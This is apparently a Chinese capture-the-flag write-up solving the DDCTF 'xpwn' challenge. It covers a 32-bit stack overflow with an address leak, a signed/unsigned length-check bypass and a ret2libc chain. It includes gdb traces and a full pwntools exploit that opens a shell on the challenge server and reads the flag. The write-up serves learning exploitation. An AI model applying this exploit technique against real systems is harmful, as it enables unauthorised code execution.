前言
Pwn菜鸡比赛的时候不会做,时间都花在Web题上面了,只能比赛后来复现了。
查看保护,基本没有什么保护:
[*] '/home/aluvion/Desktop/xpwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
IDA反编译,主要漏洞代码如下:
int __cdecl sub_80485DB(FILE *stream, FILE *a2)
{
int v2; // eax@1
char buf; // [sp+0h] [bp-48h]@1
printf("Enter username: ");
v2 = fileno(stream);
read(v2, &buf, 0x40u);
return fprintf(a2, "Hello %s", &buf);
}
int __cdecl main(int a1)
{
int v1; // eax@4
char buf; // [sp+0h] [bp-4Ch]@4
size_t nbytes; // [sp+40h] [bp-Ch]@1
int *v5; // [sp+48h] [bp-4h]@1
v5 = &a1;
setbuf(stdout, 0);
sub_80485DB(stdin, stdout);
sleep(1u);
printf("Please set the length of password: ");
nbytes = sub_804862D();
if ( (signed int)nbytes > 63 )
{
puts("Too long!");
exit(1);
}
printf("Enter password(lenth %u): ", nbytes);
v1 = fileno(stdin);
read(v1, &buf, nbytes);
puts("All done, bye!");
return 0;
}
漏洞点有三个:
- fprintf(a2, “Hello %s”, &buf) 字符串没有\x00结尾,可以用栈溢出来泄露地址
- 限制输入长度的时候,使用的是有符号数,输入的时候使用的是无符号数,没有进行负数检查,我们输入负数即可获得一个相当长的输入长度上限
- read(v1, &buf, nbytes) 栈溢出漏洞
首先我们用gdb调试,看看栈里面有什么值得泄露的数据:
Breakpoint 1, 0x08048610 in ?? ()
gdb-peda$ stack 25
0000| 0xffffd4a0 --> 0x0
0004| 0xffffd4a4 --> 0xffffd4b0 ("Twings\n\bX\202\004\b")
0008| 0xffffd4a8 --> 0x40 ('@')
0012| 0xffffd4ac --> 0xffffd528 --> 0xf7e0cdc8 --> 0x2b76 ('v+')
0016| 0xffffd4b0 ("Twings\n\bX\202\004\b")
0020| 0xffffd4b4 --> 0x80a7367
0024| 0xffffd4b8 --> 0x8048258 --> 0x57 ('W')
0028| 0xffffd4bc --> 0x0
0032| 0xffffd4c0 --> 0xf7ffda74 --> 0xf7fd3470 --> 0xf7ffd918 --> 0x0
0036| 0xffffd4c4 --> 0xf7e0ccc8 --> 0x29d0
0040| 0xffffd4c8 --> 0xf7e6021b (<__GI__IO_setbuffer+11>: add ebx,0x151de5)
0044| 0xffffd4cc --> 0x0
0048| 0xffffd4d0 --> 0xf7fb2000 --> 0x1b1db0
0052| 0xffffd4d4 --> 0xf7fb2000 --> 0x1b1db0
0056| 0xffffd4d8 --> 0xffffd568 --> 0x0
0060| 0xffffd4dc --> 0xf7e66005 (<setbuf+21>: add esp,0x1c)
0064| 0xffffd4e0 --> 0xf7fb2d60 --> 0xfbad2887
0068| 0xffffd4e4 --> 0x0
0072| 0xffffd4e8 --> 0x2000 ('')
0076| 0xffffd4ec --> 0xf7e65ff0 (<setbuf>: sub esp,0x10)
0080| 0xffffd4f0 --> 0xf7fb2d60 --> 0xfbad2887
0084| 0xffffd4f4 --> 0xf7ffd918 --> 0x0
0088| 0xffffd4f8 --> 0xffffd568 --> 0x0
0092| 0xffffd4fc --> 0x80486a3 (add esp,0x10)
0096| 0xffffd500 --> 0xf7fb25a0 --> 0xfbad2088
gdb-peda$ p $ebp
$25 = (void *) 0xffffd4f8
可以看到这么一行:
0060| 0xffffd4dc --> 0xf7e66005 (<setbuf+21>: add esp,0x1c)
所以我们只要用数据一直覆盖掉 0xffffd4d4 地址处的 \x00 ,我们就可以将 setbuf 函数地址 +21 后的地址泄露出来,然后计算 libc 的偏移。
同时我们还可以关注到一点:0xffffd4d8 地址处的数据和 ebp 寄存器中的数据是一样的,所以我们还同时可以得到 mian 函数的基地址。
但是题目没有简单到,计算出偏移之后就可以直接利用第二个栈溢出 getshell 的地步:
0x804872d: call 0x8048470 <puts@plt>
0x8048732: add esp,0x10
0x8048735: mov eax,0x0
0x804873a: lea esp,[ebp-0x8]
0x804873d: pop ecx
0x804873e: pop ebx
0x804873f: pop ebp
0x8048740: lea esp,[ecx-0x4]
可以看到,main 函数最后用 lea 指令做了一下简单的栈溢出防护,如果我们在溢出的过程中破坏了 ebp - 0x8 地址处的数据,就会导致 esp 寄存器错误,最后程序报错退出。所以我们需要在栈溢出的时候,修复这个地方的数据。
同样是 gdb 调试:
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xffffffff
ECX: 0xffffffff
EDX: 0xf7fb3870 --> 0x0
ESI: 0xf7fb2000 --> 0x1b1db0
EDI: 0xf7fb2000 --> 0x1b1db0
EBP: 0xffffd568 --> 0x0
ESP: 0xffffd510 --> 0x0
EIP: 0x804873a (lea esp,[ebp-0x8])
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804872d: call 0x8048470 <puts@plt>
0x8048732: add esp,0x10
0x8048735: mov eax,0x0
=> 0x804873a: lea esp,[ebp-0x8]
0x804873d: pop ecx
0x804873e: pop ebx
0x804873f: pop ebp
0x8048740: lea esp,[ecx-0x4]
[------------------------------------stack-------------------------------------]
0000| 0xffffd510 --> 0x0
0004| 0xffffd514 --> 0xffffd5b4 --> 0x5f0267f1
0008| 0xffffd518 --> 0xf7fb2000 --> 0x1b1db0
0012| 0xffffd51c ("Twings\n\377/")
0016| 0xffffd520 --> 0xff0a7367
0020| 0xffffd524 --> 0x2f ('/')
0024| 0xffffd528 --> 0xf7e0cdc8 --> 0x2b76 ('v+')
0028| 0xffffd52c --> 0xf7fd31b0 --> 0xf7e00000 --> 0x464c457f
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x0804873a in ?? ()
gdb-peda$ p $ebp
$26 = (void *) 0xffffd568
gdb-peda$ p $ebp - 8
$27 = (void *) 0xffffd560
gdb-peda$ p *0xffffd560
$28 = 0xffffd580
gdb-peda$ p 0xffffd560 - 0xffffd51c
$29 = 0x44
gdb-peda$ p 0xffffd580 - 0xffffd568
$30 = 0x18
我们的输入的地址为 0xffffd51c ,要修改的地址为 0xffffd560 ,偏移为 0x44;数据为 0xffffd580 ,跟 ebp 寄存器中地址(main 函数的基地址)的偏移为 0x18。
我们继续调试得到 main 函数的返回地址来覆盖:
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xffffd580 --> 0x1
EDX: 0xf7fb3870 --> 0x0
ESI: 0xf7fb2000 --> 0x1b1db0
EDI: 0xf7fb2000 --> 0x1b1db0
EBP: 0x0
ESP: 0xffffd57c --> 0xf7e18637 (<__libc_start_main+247>: add esp,0x10)
EIP: 0x8048743 (ret)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804873e: pop ebx
0x804873f: pop ebp
0x8048740: lea esp,[ecx-0x4]
=> 0x8048743: ret
0x8048744: xchg ax,ax
0x8048746: xchg ax,ax
0x8048748: xchg ax,ax
0x804874a: xchg ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffffd57c --> 0xf7e18637 (<__libc_start_main+247>: add esp,0x10)
0004| 0xffffd580 --> 0x1
0008| 0xffffd584 --> 0xffffd614 --> 0xffffd77b ("/home/aluvion/Desktop/xpwn")
0012| 0xffffd588 --> 0xffffd61c --> 0xffffd796 ("LC_PAPER=zh_CN.UTF-8")
0016| 0xffffd58c --> 0x0
0020| 0xffffd590 --> 0x0
0024| 0xffffd594 --> 0x0
0028| 0xffffd598 --> 0xf7fb2000 --> 0x1b1db0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048743 in ?? ()
gdb-peda$ p 0xffffd57c - 0xffffd51c
$31 = 0x60
可以看到返回地址为 0xffffd57c ,跟我们的输入的偏移为 0x60 ,我们可以写出脚本:
from pwn import *
elf = ELF("../xpwn")
libc = ELF("../libc.so.6")
context.log_level = "debug"
system_libc = libc.symbols["system"]
setbuf_libc = libc.symbols["setbuf"]
bin_sh_libc = libc.search("/bin/sh").next()
# target = process("../xpwn")
target = remote("116.85.48.105", 5005)
target.recvuntil("Enter username: ")
target.sendline("p" * 36)
target.recvuntil("p" * 36)
target.recv(4)
main_ebp = u32(target.recv(4))
setbuf_addr = u32(target.recv(4)) - 21
print "main ebp: " + hex(main_ebp)
print "setbuf addr: " + hex(setbuf_addr)
pause()
target.recvuntil("password: ")
target.sendline('-1')
system_addr = setbuf_addr - setbuf_libc + system_libc
bin_sh_addr = setbuf_addr - setbuf_libc + bin_sh_libc
payload = "p" * 0x44 + p32(main_ebp + 0x18)
payload += "p" * (0x60 - 0x44 - 0x04) + p32(system_addr)
payload += "a" * 0x04 + p32(bin_sh_addr)
target.recvuntil("): ")
target.send(payload)
target.interactive()
target.close()
结果:
root@Aluvion:/home/aluvion/Desktop/二进制# python dd2019.py
[*] '/home/aluvion/Desktop/xpwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/home/aluvion/Desktop/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 116.85.48.105 on port 5005: Done
[DEBUG] Received 0x10 bytes:
'Enter username: '
[DEBUG] Sent 0x25 bytes:
'pppppppppppppppppppppppppppppppppppp\n'
[DEBUG] Received 0x3a bytes:
00000000 48 65 6c 6c 6f 20 70 70 70 70 70 70 70 70 70 70 │Hell│o pp│pppp│pppp│
00000010 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 │pppp│pppp│pppp│pppp│
00000020 70 70 70 70 70 70 70 70 70 70 0a f0 6e f7 f8 1b │pppp│pppp│pp··│n···│
00000030 92 ff 65 44 5a f7 60 fd 6e f7 │··eD│Z·`·│n·│
0000003a
main ebp: 0xff921bf8
setbuf addr: 0xf75a4450
[*] Paused (press any to continue)
[DEBUG] Received 0x23 bytes:
'Please set the length of password: '
[DEBUG] Sent 0x3 bytes:
'-1\n'
[DEBUG] Received 0x22 bytes:
'Enter password(lenth 4294967295): '
[DEBUG] Sent 0x6c bytes:
00000000 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 │pppp│pppp│pppp│pppp│
*
00000040 70 70 70 70 10 1c 92 ff 70 70 70 70 70 70 70 70 │pppp│····│pppp│pppp│
00000050 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 │pppp│pppp│pppp│pppp│
00000060 40 99 57 f7 61 61 61 61 2b 80 69 f7 │@·W·│aaaa│+·i·││
0000006c
[*] Switching to interactive mode
[DEBUG] Received 0xe bytes:
'All done, bye!'
All done, bye![DEBUG] Received 0x1 bytes:
'\n'
$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x23 bytes:
'DDCTF{s0_3asy_St4ck0verfl0w_r1ght?}'
DDCTF{s0_3asy_St4ck0verfl0w_r1ght?}$
[*] Interrupted
[*] Closed connection to 116.85.48.105 port 5005
Orz